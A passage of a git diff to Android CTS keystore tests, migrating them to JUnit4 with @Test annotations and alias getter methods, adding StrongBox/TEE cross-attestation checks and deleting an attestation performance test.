     public void testKeyStore_SetKeyEntry_ProtectedKey_Unencrypted_Failure() throws Exception {
         mKeyStore.load(null, null);
 
@@ -1614,12 +1673,13 @@
         chain[1] = caCert;
 
         try {
-            mKeyStore.setKeyEntry(TEST_ALIAS_1, privKey, "foo".toCharArray(), chain);
+            mKeyStore.setKeyEntry(getTestAlias1(), privKey, "foo".toCharArray(), chain);
             fail("Should fail when a password is specified");
         } catch (KeyStoreException success) {
         }
     }
 
+    @Test
     public void testKeyStore_SetKeyEntry_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
@@ -1633,9 +1693,9 @@
         chain[0] = f.generateCertificate(new ByteArrayInputStream(FAKE_RSA_USER_1));
         chain[1] = caCert;
 
-        mKeyStore.setKeyEntry(TEST_ALIAS_1, privKey, null, chain);
+        mKeyStore.setKeyEntry(getTestAlias1(), privKey, null, chain);
 
-        Entry actualEntry = mKeyStore.getEntry(TEST_ALIAS_1, null);
+        Entry actualEntry = mKeyStore.getEntry(getTestAlias1(), null);
         assertNotNull("Retrieved entry should exist", actualEntry);
 
         assertTrue("Retrieved entry should be of type PrivateKeyEntry",
@@ -1646,6 +1706,7 @@
         assertPrivateKeyEntryEquals(actual, "RSA", FAKE_RSA_KEY_1, FAKE_RSA_USER_1, FAKE_RSA_CA_1);
     }
 
+    @Test
     public void testKeyStore_SetKeyEntry_Replaced_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
@@ -1661,9 +1722,9 @@
             chain[0] = f.generateCertificate(new ByteArrayInputStream(FAKE_RSA_USER_1));
             chain[1] = caCert;
 
-            mKeyStore.setKeyEntry(TEST_ALIAS_1, privKey, null, chain);
+            mKeyStore.setKeyEntry(getTestAlias1(), privKey, null, chain);
 
-            Entry actualEntry = mKeyStore.getEntry(TEST_ALIAS_1, null);
+            Entry actualEntry = mKeyStore.getEntry(getTestAlias1(), null);
             assertNotNull("Retrieved entry should exist", actualEntry);
 
             assertTrue("Retrieved entry should be of type PrivateKeyEntry",
@@ -1684,9 +1745,9 @@
             chain[0] = f.generateCertificate(new ByteArrayInputStream(FAKE_RSA_USER_1));
             chain[1] = caCert;
 
-            mKeyStore.setKeyEntry(TEST_ALIAS_1, privKey, null, chain);
+            mKeyStore.setKeyEntry(getTestAlias1(), privKey, null, chain);
 
-            Entry actualEntry = mKeyStore.getEntry(TEST_ALIAS_1, null);
+            Entry actualEntry = mKeyStore.getEntry(getTestAlias1(), null);
             assertNotNull("Retrieved entry should exist", actualEntry);
 
             assertTrue("Retrieved entry should be of type PrivateKeyEntry",
@@ -1699,15 +1760,16 @@
         }
     }
 
+    @Test
     public void testKeyStore_SetKeyEntry_ReplacedChain_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
         // Create key #1
         {
             KeyStore.PrivateKeyEntry privEntry = makeUserRsaKey1();
-            mKeyStore.setEntry(TEST_ALIAS_1, privEntry, null);
+            mKeyStore.setEntry(getTestAlias1(), privEntry, null);
 
-            Entry entry = mKeyStore.getEntry(TEST_ALIAS_1, null);
+            Entry entry = mKeyStore.getEntry(getTestAlias1(), null);
 
             assertTrue(entry instanceof PrivateKeyEntry);
 
@@ -1721,7 +1783,7 @@
 
         // Replace key #1 with new chain
         {
-            Key key = mKeyStore.getKey(TEST_ALIAS_1, null);
+            Key key = mKeyStore.getKey(getTestAlias1(), null);
 
             assertTrue(key instanceof PrivateKey);
 
@@ -1729,10 +1791,10 @@
 
             Certificate expectedCert = generateCertificate(FAKE_RSA_USER_1);
 
-            mKeyStore.setKeyEntry(TEST_ALIAS_1, expectedKey, null,
+            mKeyStore.setKeyEntry(getTestAlias1(), expectedKey, null,
                     new Certificate[] { expectedCert });
 
-            Entry entry = mKeyStore.getEntry(TEST_ALIAS_1, null);
+            Entry entry = mKeyStore.getEntry(getTestAlias1(), null);
 
             assertTrue(entry instanceof PrivateKeyEntry);
 
@@ -1742,53 +1804,56 @@
         }
     }
 
+    @Test
     public void testKeyStore_SetKeyEntry_ReplacedChain_DifferentPrivateKey_Unencrypted_Failure()
             throws Exception {
         mKeyStore.load(null, null);
 
         // Create key #1
-        mKeyStore.setEntry(TEST_ALIAS_1, makeUserRsaKey1(), null);
+        mKeyStore.setEntry(getTestAlias1(), makeUserRsaKey1(), null);
 
         // Create key #2
-        mKeyStore.setEntry(TEST_ALIAS_2, makeUserRsaKey1(), null);
+        mKeyStore.setEntry(getTestAlias2(), makeUserRsaKey1(), null);
 
 
         // Replace key #1 with key #2
         {
-            Key key1 = mKeyStore.getKey(TEST_ALIAS_2, null);
+            Key key1 = mKeyStore.getKey(getTestAlias2(), null);
 
             Certificate cert = generateCertificate(FAKE_RSA_USER_1);
 
             try {
-                mKeyStore.setKeyEntry(TEST_ALIAS_1, key1, null, new Certificate[] { cert });
+                mKeyStore.setKeyEntry(getTestAlias1(), key1, null, new Certificate[] { cert });
                 fail("Should not allow setting of KeyEntry with wrong PrivaetKey");
             } catch (KeyStoreException success) {
             }
         }
     }
 
+    @Test
     public void testKeyStore_SetKeyEntry_ReplacedWithSame_UnencryptedToUnencrypted_Failure()
             throws Exception {
         mKeyStore.load(null, null);
 
         // Create key #1
-        mKeyStore.setEntry(TEST_ALIAS_1, makeUserRsaKey1(), null);
+        mKeyStore.setEntry(getTestAlias1(), makeUserRsaKey1(), null);
 
         // Replace with same
-        Entry entry = mKeyStore.getEntry(TEST_ALIAS_1, null);
-        mKeyStore.setEntry(TEST_ALIAS_1, entry, null);
+        Entry entry = mKeyStore.getEntry(getTestAlias1(), null);
+        mKeyStore.setEntry(getTestAlias1(), entry, null);
     }
 
     /*
      * Replacing an existing secret key with itself should be a no-op.
      */
+    @Test
     public void testKeyStore_SetKeyEntry_ReplacedWithSameGeneratedSecretKey()
             throws Exception {
         final String plaintext = "My awesome plaintext message!";
         final String algorithm = "AES/GCM/NoPadding";
 
         final KeyGenerator generator = KeyGenerator.getInstance("AES", "AndroidKeyStore");
-        final KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(TEST_ALIAS_1,
+        final KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(getTestAlias1(),
                 KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
                 .setKeySize(256)
                 .setBlockModes(KeyProperties.BLOCK_MODE_GCM)
@@ -1805,46 +1870,48 @@
         mKeyStore.load(null, null);
 
         // This should succeed.
-        mKeyStore.setKeyEntry(TEST_ALIAS_1, key, null, null);
-        // And it should not change the key under TEST_ALIAS_1. And what better way to test
+        mKeyStore.setKeyEntry(getTestAlias1(), key, null, null);
+        // And it should not change the key under getTestAlias1(). And what better way to test
         // then to use it on some cipher text generated with that key.
-        final Key key2 = mKeyStore.getKey(TEST_ALIAS_1, null);
+        final Key key2 = mKeyStore.getKey(getTestAlias1(), null);
         cipher = Cipher.getInstance(algorithm);
         cipher.init(Cipher.DECRYPT_MODE, key2, params);
         byte[] plaintext2 = cipher.doFinal(ciphertext);
-        Assert.assertArrayEquals("The plaintext2 should match the original plaintext.",
+        assertArrayEquals("The plaintext2 should match the original plaintext.",
                 plaintext2, plaintext.getBytes());
     }
 
+    @Test
     public void testKeyStore_Size_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
-        mKeyStore.setCertificateEntry(TEST_ALIAS_1, generateCertificate(FAKE_RSA_CA_1));
+        mKeyStore.setCertificateEntry(getTestAlias1(), generateCertificate(FAKE_RSA_CA_1));
 
         assertEquals("The keystore size should match expected", 1, mKeyStore.size());
-        assertAliases(new String[] { TEST_ALIAS_1 });
+        assertAliases(new String[] { getTestAlias1() });
 
-        mKeyStore.setCertificateEntry(TEST_ALIAS_2, generateCertificate(FAKE_RSA_CA_1));
+        mKeyStore.setCertificateEntry(getTestAlias2(), generateCertificate(FAKE_RSA_CA_1));
 
         assertEquals("The keystore size should match expected", 2, mKeyStore.size());
-        assertAliases(new String[] { TEST_ALIAS_1, TEST_ALIAS_2 });
+        assertAliases(new String[] { getTestAlias1(), getTestAlias2() });
 
-        mKeyStore.setEntry(TEST_ALIAS_3, makeUserRsaKey1(), null);
+        mKeyStore.setEntry(getTestAlias3(), makeUserRsaKey1(), null);
 
         assertEquals("The keystore size should match expected", 3, mKeyStore.size());
-        assertAliases(new String[] { TEST_ALIAS_1, TEST_ALIAS_2, TEST_ALIAS_3 });
+        assertAliases(new String[] { getTestAlias1(), getTestAlias2(), getTestAlias3() });
 
-        mKeyStore.deleteEntry(TEST_ALIAS_1);
+        mKeyStore.deleteEntry(getTestAlias1());
 
         assertEquals("The keystore size should match expected", 2, mKeyStore.size());
-        assertAliases(new String[] { TEST_ALIAS_2, TEST_ALIAS_3 });
+        assertAliases(new String[] { getTestAlias2(), getTestAlias3() });
 
-        mKeyStore.deleteEntry(TEST_ALIAS_3);
+        mKeyStore.deleteEntry(getTestAlias3());
 
         assertEquals("The keystore size should match expected", 1, mKeyStore.size());
-        assertAliases(new String[] { TEST_ALIAS_2 });
+        assertAliases(new String[] { getTestAlias2() });
     }
 
+    @Test
     public void testKeyStore_Store_LoadStoreParam_Unencrypted_Failure() throws Exception {
         mKeyStore.load(null, null);
 
@@ -1855,6 +1922,7 @@
         }
     }
 
+    @Test
     public void testKeyStore_Load_InputStreamSupplied_Unencrypted_Failure() throws Exception {
         byte[] buf = "FAKE KEYSTORE".getBytes();
         ByteArrayInputStream is = new ByteArrayInputStream(buf);
@@ -1866,6 +1934,7 @@
         }
     }
 
+    @Test
     public void testKeyStore_Load_PasswordSupplied_Unencrypted_Failure() throws Exception {
         try {
             mKeyStore.load(null, "password".toCharArray());
@@ -1874,6 +1943,7 @@
         }
     }
 
+    @Test
     public void testKeyStore_Store_OutputStream_Unencrypted_Failure() throws Exception {
         mKeyStore.load(null, null);
 
@@ -1891,13 +1961,14 @@
         }
     }
 
+    @Test
     public void testKeyStore_KeyOperations_Wrap_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
-        mKeyStore.setEntry(TEST_ALIAS_1, makeUserRsaKey1(), null);
+        mKeyStore.setEntry(getTestAlias1(), makeUserRsaKey1(), null);
 
         // Test key usage
-        Entry e = mKeyStore.getEntry(TEST_ALIAS_1, null);
+        Entry e = mKeyStore.getEntry(getTestAlias1(), null);
         assertNotNull(e);
         assertTrue(e instanceof PrivateKeyEntry);
 
@@ -1925,6 +1996,7 @@
                 Arrays.toString(actualSecret.getEncoded()));
     }
 
+    @Test
     public void testKeyStore_Encrypting_RSA_NONE_NOPADDING() throws Exception {
 
         String alias = "MyKey";
@@ -1942,7 +2014,7 @@
 
         KeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA", "AndroidKeyStore");
         assertNotNull(kpg);
-        kpg.initialize(new KeyPairGeneratorSpec.Builder(mContext)
+        kpg.initialize(new KeyPairGeneratorSpec.Builder(getContext())
                 .setAlias(alias)
                 .setStartDate(now)
                 .setEndDate(end)
@@ -1977,15 +2049,16 @@
         }
     }
 
+    @Test
     public void testKeyStore_PrivateKeyEntry_RSA_PublicKeyWorksWithCrypto()
             throws Exception {
         mKeyStore.load(null, null);
-        mKeyStore.setKeyEntry(TEST_ALIAS_2,
+        mKeyStore.setKeyEntry(getTestAlias2(),
                 KeyFactory.getInstance("RSA").generatePrivate(
                         new PKCS8EncodedKeySpec(FAKE_RSA_KEY_1)),
                 null, // no password (it's not even supported)
                 new Certificate[] {generateCertificate(FAKE_RSA_USER_1)});
-        PublicKey publicKey = mKeyStore.getCertificate(TEST_ALIAS_2).getPublicKey();
+        PublicKey publicKey = mKeyStore.getCertificate(getTestAlias2()).getPublicKey();
         assertNotNull(publicKey);
 
         Signature.getInstance("SHA256withRSA").initVerify(publicKey);
@@ -1997,26 +2070,28 @@
         Cipher.getInstance("RSA/ECB/OAEPPadding").init(Cipher.ENCRYPT_MODE, publicKey);
     }
 
+    @Test
     public void testKeyStore_PrivateKeyEntry_EC_PublicKeyWorksWithCrypto()
             throws Exception {
         mKeyStore.load(null, null);
-        mKeyStore.setKeyEntry(TEST_ALIAS_1,
+        mKeyStore.setKeyEntry(getTestAlias1(),
                 KeyFactory.getInstance("EC").generatePrivate(
                         new PKCS8EncodedKeySpec(FAKE_EC_KEY_1)),
                 null, // no password (it's not even supported)
                 new Certificate[] {generateCertificate(FAKE_EC_USER_1)});
-        PublicKey publicKey = mKeyStore.getCertificate(TEST_ALIAS_1).getPublicKey();
+        PublicKey publicKey = mKeyStore.getCertificate(getTestAlias1()).getPublicKey();
         assertNotNull(publicKey);
 
         Signature.getInstance("SHA256withECDSA").initVerify(publicKey);
         Signature.getInstance("NONEwithECDSA").initVerify(publicKey);
     }
 
+    @Test
     public void testKeyStore_TrustedCertificateEntry_RSA_PublicKeyWorksWithCrypto()
             throws Exception {
         mKeyStore.load(null, null);
-        mKeyStore.setCertificateEntry(TEST_ALIAS_2, generateCertificate(FAKE_RSA_USER_1));
-        PublicKey publicKey = mKeyStore.getCertificate(TEST_ALIAS_2).getPublicKey();
+        mKeyStore.setCertificateEntry(getTestAlias2(), generateCertificate(FAKE_RSA_USER_1));
+        PublicKey publicKey = mKeyStore.getCertificate(getTestAlias2()).getPublicKey();
         assertNotNull(publicKey);
 
         Signature.getInstance("SHA256withRSA").initVerify(publicKey);
@@ -2026,11 +2101,12 @@
         Cipher.getInstance("RSA/ECB/NoPadding").init(Cipher.ENCRYPT_MODE, publicKey);
     }
 
+    @Test
     public void testKeyStore_TrustedCertificateEntry_EC_PublicKeyWorksWithCrypto()
             throws Exception {
         mKeyStore.load(null, null);
-        mKeyStore.setCertificateEntry(TEST_ALIAS_1, generateCertificate(FAKE_EC_USER_1));
-        PublicKey publicKey = mKeyStore.getCertificate(TEST_ALIAS_1).getPublicKey();
+        mKeyStore.setCertificateEntry(getTestAlias1(), generateCertificate(FAKE_EC_USER_1));
+        PublicKey publicKey = mKeyStore.getCertificate(getTestAlias1()).getPublicKey();
         assertNotNull(publicKey);
 
         Signature.getInstance("SHA256withECDSA").initVerify(publicKey);
@@ -2063,6 +2139,7 @@
     }
 
     @LargeTest
+    @Test
     public void testKeyStore_LargeNumberOfKeysSupported_RSA() throws Exception {
         // This test imports key1, then lots of other keys, then key2, and then confirms that
         // key1 and key2 backed by Android Keystore work fine. The assumption is that if the
@@ -2134,6 +2211,7 @@
     }
 
     @LargeTest
+    @Test
     public void testKeyStore_LargeNumberOfKeysSupported_EC() throws Exception {
         // This test imports key1, then lots of other keys, then key2, and then confirms that
         // key1 and key2 backed by Android Keystore work fine. The assumption is that if the
@@ -2207,6 +2285,7 @@
     }
 
     @LargeTest
+    @Test
     public void testKeyStore_LargeNumberOfKeysSupported_AES() throws Exception {
         // This test imports key1, then lots of other keys, then key2, and then confirms that
         // key1 and key2 backed by Android Keystore work fine. The assumption is that if the
@@ -2256,7 +2335,7 @@
             AlgorithmParameters cipherParams = cipher.getParameters();
             cipher = Cipher.getInstance(cipher.getAlgorithm());
             cipher.init(Cipher.DECRYPT_MODE, key1, cipherParams);
-            MoreAsserts.assertEquals(plaintext, cipher.doFinal(ciphertext));
+            assertArrayEquals(plaintext, cipher.doFinal(ciphertext));
 
             cipher = Cipher.getInstance(cipher.getAlgorithm());
             cipher.init(Cipher.ENCRYPT_MODE, keystoreKey2);
@@ -2264,13 +2343,14 @@
             cipherParams = cipher.getParameters();
             cipher = Cipher.getInstance(cipher.getAlgorithm());
             cipher.init(Cipher.DECRYPT_MODE, key2, cipherParams);
-            MoreAsserts.assertEquals(plaintext, cipher.doFinal(ciphertext));
+            assertArrayEquals(plaintext, cipher.doFinal(ciphertext));
         } finally {
             deleteManyTestKeys(keyCount, ALIAS_PREFIX);
         }
     }
 
     @LargeTest
+    @Test
     public void testKeyStore_LargeNumberOfKeysSupported_HMAC() throws Exception {
         // This test imports key1, then lots of other keys, then key2, and then confirms that
         // key1 and key2 backed by Android Keystore work fine. The assumption is that if the
@@ -2316,14 +2396,14 @@
             byte[] message = "This is a test".getBytes("UTF-8");
             Mac mac = Mac.getInstance(key1.getAlgorithm());
             mac.init(keystoreKey1);
-            MoreAsserts.assertEquals(
+            assertArrayEquals(
                     HexEncoding.decode(
                             "905e36f5a175f4ca54ad56b860b46f6502f883a90628dca2d33a953fb7224eaf"),
                     mac.doFinal(message));
 
             mac = Mac.getInstance(key2.getAlgorithm());
             mac.init(keystoreKey2);
-            MoreAsserts.assertEquals(
+            assertArrayEquals(
                     HexEncoding.decode(
                             "59b57e77e4e2cb36b5c7b84af198ac004327bc549de6931a1b5505372dd8c957"),
                     mac.doFinal(message));
@@ -2332,6 +2412,7 @@
         }
     }
 
+    @Test
     public void testKeyStore_OnlyOneDigestCanBeAuthorized_HMAC() throws Exception {
         mKeyStore.load(null);
 
@@ -2349,24 +2430,24 @@
 
                 // Digests authorization not specified in import parameters
                 assertFalse(goodSpec.build().isDigestsSpecified());
-                mKeyStore.setEntry(TEST_ALIAS_1,
+                mKeyStore.setEntry(getTestAlias1(),
                         new KeyStore.SecretKeyEntry(keyBeingImported),
                         goodSpec.build());
-                SecretKey key = (SecretKey) mKeyStore.getKey(TEST_ALIAS_1, null);
+                SecretKey key = (SecretKey) mKeyStore.getKey(getTestAlias1(), null);
                 TestUtils.assertContentsInAnyOrder(
                         Arrays.asList(TestUtils.getKeyInfo(key).getDigests()), digest);
 
                 // The same digest is specified in import parameters
-                mKeyStore.setEntry(TEST_ALIAS_1,
+                mKeyStore.setEntry(getTestAlias1(),
                         new KeyStore.SecretKeyEntry(keyBeingImported),
                         TestUtils.buildUpon(goodSpec).setDigests(digest).build());
-                key = (SecretKey) mKeyStore.getKey(TEST_ALIAS_1, null);
+                key = (SecretKey) mKeyStore.getKey(getTestAlias1(), null);
                 TestUtils.assertContentsInAnyOrder(
                         Arrays.asList(TestUtils.getKeyInfo(key).getDigests()), digest);
 
                 // Empty set of digests specified in import parameters
                 try {
-                    mKeyStore.setEntry(TEST_ALIAS_1,
+                    mKeyStore.setEntry(getTestAlias1(),
                             new KeyStore.SecretKeyEntry(keyBeingImported),
                             TestUtils.buildUpon(goodSpec).setDigests().build());
                     fail();
@@ -2375,13 +2456,13 @@
                 // A different digest specified in import parameters
                 String anotherDigest = "SHA-256".equalsIgnoreCase(digest) ? "SHA-384" : "SHA-256";
                 try {
-                    mKeyStore.setEntry(TEST_ALIAS_1,
+                    mKeyStore.setEntry(getTestAlias1(),
                             new KeyStore.SecretKeyEntry(keyBeingImported),
                             TestUtils.buildUpon(goodSpec).setDigests(anotherDigest).build());
                     fail();
                 } catch (KeyStoreException expected) {}
                 try {
-                    mKeyStore.setEntry(TEST_ALIAS_1,
+                    mKeyStore.setEntry(getTestAlias1(),
                             new KeyStore.SecretKeyEntry(keyBeingImported),
                             TestUtils.buildUpon(goodSpec)
                                     .setDigests(digest, anotherDigest)
@@ -2394,6 +2475,7 @@
         }
     }
 
+    @Test
     public void testKeyStore_ImportSupportedSizes_AES() throws Exception {
         mKeyStore.load(null);
 
@@ -2430,6 +2512,7 @@
         }
     }
 
+    @Test
     public void testKeyStore_ImportSupportedSizes_HMAC() throws Exception {
         mKeyStore.load(null);
 
@@ -2466,6 +2549,7 @@
         }
     }
 
+    @Test
     public void testKeyStore_ImportSupportedSizes_EC() throws Exception {
         mKeyStore.load(null);
         KeyProtection params =
@@ -2480,6 +2564,7 @@
                 "secp512r1", R.raw.ec_key6_secp521r1_pkcs8, R.raw.ec_key6_secp521r1_cert, params);
     }
 
+    @Test
     public void testKeyStore_ImportSupportedSizes_RSA() throws Exception {
         mKeyStore.load(null);
         KeyProtection params =
diff --git a/tests/tests/keystore/src/android/keystore/cts/AttestKeyTest.java b/tests/tests/keystore/src/android/keystore/cts/AttestKeyTest.java
index d5d12f3..260523a 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AttestKeyTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AttestKeyTest.java
@@ -24,11 +24,12 @@
 import static org.hamcrest.CoreMatchers.is;
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.greaterThan;
-import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
 
+import android.content.Context;
 import android.content.pm.PackageManager;
+import android.keystore.cts.util.TestUtils;
 import android.security.keystore.KeyGenParameterSpec;
 import android.util.Log;
 
@@ -51,8 +52,6 @@
 import java.util.Arrays;
 import java.util.stream.Stream;
 
-import javax.security.auth.x500.X500Principal;
-
 public class AttestKeyTest {
     private static final String TAG = AttestKeyTest.class.getSimpleName();
 
@@ -144,8 +143,10 @@
     }
 
     @Test
-    public void testAttestKeySecurityLevelMismatch() throws Exception {
-        assumeStrongBox();
+    public void testStrongBoxCannotAttestToTeeKey() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        assumeTrue("Can only test with strongbox keymint",
+                TestUtils.getFeatureVersionKeystoreStrongBox(context) >= Attestation.KM_VERSION_KEYMINT_1);
 
         final String strongBoxAttestKeyAlias = "nonAttestKey";
         final String attestedKeyAlias = "attestedKey";
@@ -167,13 +168,28 @@
         }
     }
 
-    private void assumeStrongBox() {
-        PackageManager packageManager =
-                InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
-        assumeTrue("Can only test if we have StrongBox",
-                packageManager.hasSystemFeature(PackageManager.FEATURE_STRONGBOX_KEYSTORE));
-    }
+    @Test
+    public void testTeeCannotAttestToStrongBoxKey() throws Exception {
+        TestUtils.assumeStrongBox();
 
+        final String teeAttestKeyAlias = "nonAttestKey";
+        generateKeyPair(KEY_ALGORITHM_EC,
+                new KeyGenParameterSpec.Builder(teeAttestKeyAlias, PURPOSE_ATTEST_KEY).build());
+
+        try {
+            generateKeyPair(KEY_ALGORITHM_EC,
+                    new KeyGenParameterSpec.Builder("attestedKey", PURPOSE_SIGN)
+                            .setAttestationChallenge("challenge".getBytes())
+                            .setAttestKeyAlias(teeAttestKeyAlias)
+                            .setIsStrongBoxBacked(true)
+                            .build());
+            fail("Expected exception.");
+        } catch (InvalidAlgorithmParameterException e) {
+            assertThat(e.getMessage(),
+                    is("Invalid security level: Cannot sign StrongBox key with non-StrongBox "
+                            + "attestKey"));
+        }
+    }
     private void assumeAttestKey() {
         PackageManager packageManager =
                 InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
diff --git a/tests/tests/keystore/src/android/keystore/cts/AttestationPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/AttestationPerformanceTest.java
deleted file mode 100644
index caa18a0..0000000
--- a/tests/tests/keystore/src/android/keystore/cts/AttestationPerformanceTest.java
+++ /dev/null
@@ -1,122 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.keystore.cts;
-
-import android.keystore.cts.PerformanceTestBase.AndroidKeystoreKeyGenerator;
-import android.security.keystore.KeyProperties;
-
-import org.junit.Test;
-
-import java.security.spec.ECGenParameterSpec;
-
-public class AttestationPerformanceTest extends PerformanceTestBase {
-
-    private final int[] RSA_KEY_SIZES = {2048, 3072, 4096};
-    private final int[] EC_CURVES = {224, 256, 384, 521};
-
-    private final byte[][] ATTESTATION_CHALLENGES = {
-        new byte[0], // empty challenge
-        "challenge".getBytes(), // short challenge
-        new byte[128], // long challenge
-    };
-
-    public void testRsaKeyAttestation() throws Exception {
-        if (!TestUtils.isAttestationSupported()) {
-            return;
-        }
-
-        for (byte[] challenge : ATTESTATION_CHALLENGES) {
-            for (int keySize : RSA_KEY_SIZES) {
-                measure(new KeystoreAttestationMeasurable(
-                        new AndroidKeystoreRsaKeyGenerator("SHA1withRSA", keySize, challenge),
-                        keySize, challenge.length));
-            }
-        }
-    }
-
-    public void testEcKeyAttestation() throws Exception {
-        if (!TestUtils.isAttestationSupported()) {
-            return;
-        }
-
-        for (byte[] challenge : ATTESTATION_CHALLENGES) {
-            for (int curve : EC_CURVES) {
-                measure(new KeystoreAttestationMeasurable(
-                        new AndroidKeystoreEcKeyGenerator("SHA1withECDSA", curve, challenge),
-                        curve,
-                        challenge.length));
-            }
-        }
-    }
-
-    private class AndroidKeystoreRsaKeyGenerator extends AndroidKeystoreKeyGenerator {
-
-        AndroidKeystoreRsaKeyGenerator(String algorithm, int keySize, byte[] challenge)
-                throws Exception {
-            super(algorithm);
-            getKeyPairGenerator()
-                    .initialize(
-                            getKeyGenParameterSpecBuilder(
-                                            KeyProperties.PURPOSE_SIGN
-                                                    | KeyProperties.PURPOSE_VERIFY)
-                                    .setKeySize(keySize)
-                                    .setSignaturePaddings(
-                                            TestUtils.getSignatureAlgorithmPadding(algorithm))
-                                    .setDigests(TestUtils.getSignatureAlgorithmDigest(algorithm))
-                                    .setAttestationChallenge(challenge)
-                                    .build());
-        }
-    }
-
-    private class AndroidKeystoreEcKeyGenerator extends AndroidKeystoreKeyGenerator {
-
-        AndroidKeystoreEcKeyGenerator(String algorithm, int keySize, byte[] challenge)
-                throws Exception {
-            super(algorithm);
-            getKeyPairGenerator()
-                    .initialize(
-                            getKeyGenParameterSpecBuilder(
-                                            KeyProperties.PURPOSE_SIGN
-                                                    | KeyProperties.PURPOSE_VERIFY)
-                                    .setKeySize(keySize)
-                                    .setDigests(TestUtils.getSignatureAlgorithmDigest(algorithm))
-                                    .setAttestationChallenge(challenge)
-                                    .build());
-        }
-    }
-
-    private class KeystoreAttestationMeasurable extends KeystoreMeasurable {
-        private final AndroidKeystoreKeyGenerator mKeyGen;
-
-        KeystoreAttestationMeasurable(
-                AndroidKeystoreKeyGenerator keyGen, int keySize, int challengeSize)
-                throws Exception {
-            super(keyGen, "attest", keySize, challengeSize);
-            mKeyGen = keyGen;
-        }
-
-        @Override
-        public void initialSetUp() throws Exception {
-            mKeyGen.getKeyPairGenerator().generateKeyPair();
-        }
-
-        @Override
-        public void measure() throws Exception {
-            mKeyGen.getCertificateChain();
-        }
-    }
-}
diff --git a/tests/tests/keystore/src/android/keystore/cts/BackendBusyExceptionTest.java b/tests/tests/keystore/src/android/keystore/cts/BackendBusyExceptionTest.java
index 32b83dc..91804ac 100644
--- a/tests/tests/keystore/src/android/keystore/cts/BackendBusyExceptionTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/BackendBusyExceptionTest.java
@@ -16,18 +16,28 @@
 
 package android.keystore.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.security.keystore.BackendBusyException;
-import android.test.AndroidTestCase;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Tests basic functionality of the BackendBusyException.
  */
-public class BackendBusyExceptionTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BackendBusyExceptionTest {
     /**
      * Tests if a BackendBusyException constructed with a given backoff hint returns
      * that value through getBackOffHintMillis().
      * Also the constructor must throw IllegalArgumentException if the backoff hint is negative.
      */
+    @Test
     public void testBackOffHint () {
         BackendBusyException backendBusyException = new BackendBusyException(1);
         assertEquals(backendBusyException.getBackOffHintMillis(), 1);
@@ -61,6 +71,7 @@
     /**
      * Test that getMessage returns the message passed to the constructor.
      */
+    @Test
     public void testMessage() {
         BackendBusyException backendBusyException = new BackendBusyException(1, "My test Message.");
         assertTrue(backendBusyException.getMessage().equals("My test Message."));
@@ -71,6 +82,7 @@
     /**
      * Test that getCause returns the cause passed to the constructor.
      */
+    @Test
     public void testCause() {
         Exception cause = new Exception("My Cause");
 
diff --git a/tests/tests/keystore/src/android/keystore/cts/BlockCipherTestBase.java b/tests/tests/keystore/src/android/keystore/cts/BlockCipherTestBase.java
index 37a29ad..6057e45 100644
--- a/tests/tests/keystore/src/android/keystore/cts/BlockCipherTestBase.java
+++ b/tests/tests/keystore/src/android/keystore/cts/BlockCipherTestBase.java
@@ -16,13 +16,32 @@
 
 package android.keystore.cts;
 
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.keystore.cts.util.EmptyArray;
+import android.keystore.cts.util.TestUtils;
+import android.os.Build;
+import android.os.SystemProperties;
 import android.security.keystore.KeyProperties;
 import android.security.keystore.KeyProtection;
-import android.test.AndroidTestCase;
+
+import androidx.test.runner.AndroidJUnit4;
 
 import junit.framework.AssertionFailedError;
 
-import java.nio.Buffer;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayOutputStream;
 import java.nio.ByteBuffer;
 import java.security.AlgorithmParameters;
 import java.security.InvalidAlgorithmParameterException;
@@ -49,7 +68,8 @@
 import javax.crypto.spec.IvParameterSpec;
 import javax.crypto.spec.SecretKeySpec;
 
-abstract class BlockCipherTestBase extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+abstract class BlockCipherTestBase {
 
     private static final String EXPECTED_PROVIDER_NAME = TestUtils.EXPECTED_CRYPTO_OP_PROVIDER_NAME;
     private static final int LARGE_MESSAGE_SIZE = 100 * 1024;
@@ -58,9 +78,11 @@
     private int mNextKeyId;
     private SecureRandom mRand = new SecureRandom();
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
